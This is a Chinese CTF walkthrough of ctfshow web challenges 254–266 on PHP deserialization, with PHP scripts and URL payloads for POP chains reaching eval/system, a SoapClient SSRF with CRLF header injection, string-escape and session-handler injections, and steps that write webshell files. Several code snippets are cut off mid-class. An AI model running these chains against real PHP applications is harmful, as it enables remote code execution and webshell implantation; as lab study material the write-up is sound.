完整教程:ctfshow-web入门-254-266-反序列化

web254

代码审计,输入给的username和password 

?username=xxxxxx&password=xxxxxx

web255

这题要从cookie中获取值并且需要把isVip设为true,并且将序列化之后的结果进行url编码

isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$c = new ctfShowUser();
echo serialize($c);
echo "\n".urlencode(serialize($c));
?>

ctfshow的web入门->反序列化_ctfshow java反序列化-CSDN博客

web256

这题要求$this->username!==$this->password, 让username和password不相等

GET :?username=xx&password=xxxxxx

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A2%3A%22xx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客

先看这篇文章,然后构造pop链

ctfshow 反序列化1_ctf&this-CSDN博客

大致浏览下代码会发现我们可以利用的函数eval,要想调用eval就得使用backDoor类中的getinfo。
然后在ctfShowUser类的__destruct中发现了$this->class->getInfo();,那么我们只需要让$this->class是backDoor类的实例化就可以了。
反序列化时,首先调用__destruct,接着调用$this->class->getInfo();也就是backDoor->getinfo(),最后触发eval。

class=new backDoor();  //  初始化 $class 属性为 backDoor 类的对象
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();  // (2)backDoor
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code="system('tac flag.php');";
public function getInfo(){
eval($this->code);  //  (1)system
}
}
$c = new ctfShowUser();
echo urlencode(serialize($c));

ctfshow-web入门-反序列化(web254-web258)_ctfshow web258-CSDN博客

php反序列化 && 触发的魔术方法&& 原理 &&pop链构造 && ctfshow 练习_php pop 魔术方法-CSDN博客

web258

比上一题多了正则过滤,user不能是 o:<数字>: 或 c:<数字>:的形式

用 +数字 替代 数字

ctfshow 反序列化1_global $flag;-CSDN博客

class=new backDoor();   //  初始化 $class 属性为 backDoor 类的对象
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code = "system('tac flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a = serialize(new ctfShowUser());
$b = str_replace(':11', ':+11', $a);
$c = str_replace(':8', ':+8', $b);
echo urlencode($c);
?>

web259

 $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
 "aaa\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",'uri' => 'aaa','location' => 'http://127.0.0.1/flag.php'));
echo urlencode(serialize($a));

我的运行有问题

ctfshow web入门 php反序列化 web254--web259_ctfshow web254-web258-CSDN博客

接着getvip=xxx就可以了,最后访问/flag.tx

web260

要求序列化后的字符串中包含ctfshow_i_love_36D

PHP 序列化字符串的格式为:

  • 数组a:<元素数量>:{<键值对>}
  • 字符串s:<长度>:<内容>
  • 整数i:<值>
  • 布尔值b:<0或1>

payload:直接传入字符串

?ctfshow=ctfshow_i_love_36D

数组

?ctfshow[]=ctfshow_i_love_36D

web261

同时存在 __unserialize() 和 __wakeup()函数时,在 php 7.4 以上版本反序列化时会忽略__wakeup() 函数,因此这里实际并不需要用户名和密码为空

开始找到eval函数,但没有条件触发 __invoke

所以关键就是file_put_contents,username和password拼接成的$this->code弱等于0x36d

所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱类型比较)

username = $u;
$this->password = $p;
}
}
$c = new ctfshowvip('877.php',"");
echo serialize($c);

?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:26:"";s:4:"code";N;}

先/?vip=序列化内容 ,然后访问877.php 

ctfshow 反序列化1_$this->username===$u&&$this->password===$p-CSDN博客

ctfshow-web入门-反序列化(web260-web264)-CSDN博客

web262

没有和flag相关的信息,访问message.php 

要满足 $msg->token=='admin' 

  这是一个非预期解,然后我们看一下预期解,字符串逃逸

from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg)
{
return str_replace('fuck', 'loveU', $msg);
}
//";s:5:"token";s:4:"admin";}有27个字符,
//将 fuck 替换为 loveU 会增加一个字符,所以也构造27个fuck
$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$msg_1 = serialize($msg);
$msg_2 = filter($msg_1);
echo $msg_2;

 所以payload: 

?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

接着访问message.php

ctfshow 反序列化1_$this->username===$u&&$this->password===$p-CSDN博客

ctfshow-web入门-反序列化(web260-web264)-CSDN博客

web263

PHP的session反序列化

目录扫描

 发现www.zip文件,访问打开

index.php写入cookie

check.php调用cookie 

inc.php存在写文件函数,将username写为php文件名,password为一句话

因 inc/inc.php 存在 ini_set(‘session.serialize_handler’, ‘php’); 和 session_start(); ,只要访问即会获取之前写入的 session 数据,然后 check.php 包含 inc/inc.php ,即会触发 User类 的 __destruct方法 ,从而把恶意数据通过 file_put_contents 写入名为 log-$this.username ,内容为 $this.password 的文件

';
}
$user = new User();
echo(base64_encode('|'.serialize($user)));
?>

加 '|' 是因为 session.serialize_handler 使用 php引擎 ,session 关联数组的 key 和 value 是通过 '|' 区分的, value 是需要被反序列化的部分。然后默认不是用 php 引擎,所以写入是正常字符串,在 inc/inc.php 这读取语义又不一样了

首先修改cookie为生成的 base64 编码序列化字符串,

然后后访问index.php,接着访问check.php,即可生成木马文件,最后访问 log-$this.username 即log-test.php

CTFSHOW 反序列化篇_ctf中server-CSDN博客

CTFshow刷题日记-WEB-反序列化篇(上,254-263)_ctfshow web257-CSDN博客

web264

访问message.php

可以看到和web262不一样了这里是session 

然后payload同262

?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

访问message.php其实是没拿到flag的,因为要求要提交一个cookie ,我们随便传一个cookie上去

就能得到flag

web265

token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$a = new ctfshowAdmin(1,2);
$a->token = &$a->password;
echo serialize($a);

&内存共享$a->token 和 $a->password 指向同一块内存空间。无论通过哪个属性修改值,本质都是修改同一块内存,因此两者始终 “同步变化”。 

?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";i:2;s:8:"password";R:2;}

ctfshow-web入门-反序列化(web265-web270)_ctfshow web267-CSDN博客

web266

__destruct() 在对象被销毁时会自动调用,我们只需要让 ctfshow 类正确被反序列化即可,但是直接传 ctfshow 会被检测,之后就会抛出异常,如果程序报错或者抛出异常就不会触发 __destruct() 了 

当我们的序列化字符串中有ctfshow就会抛出异常,这样就没办法调用__destrcut了

所以我们大小写绕过,生成的字符串里面的ctfshow改成大写的。

username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
}
$a = new ctfshow(1,2);
echo serialize($a);

序列化里的内容不重要

ctfshow-web入门-反序列化(web265-web270)_ctfshow web267-CSDN博客

ctfshow 反序列化2_ctf yii 漏洞-CSDN博客

posted @ 2025-08-12 14:12  wzzkaifa  阅读(247)  评论(0)    收藏  举报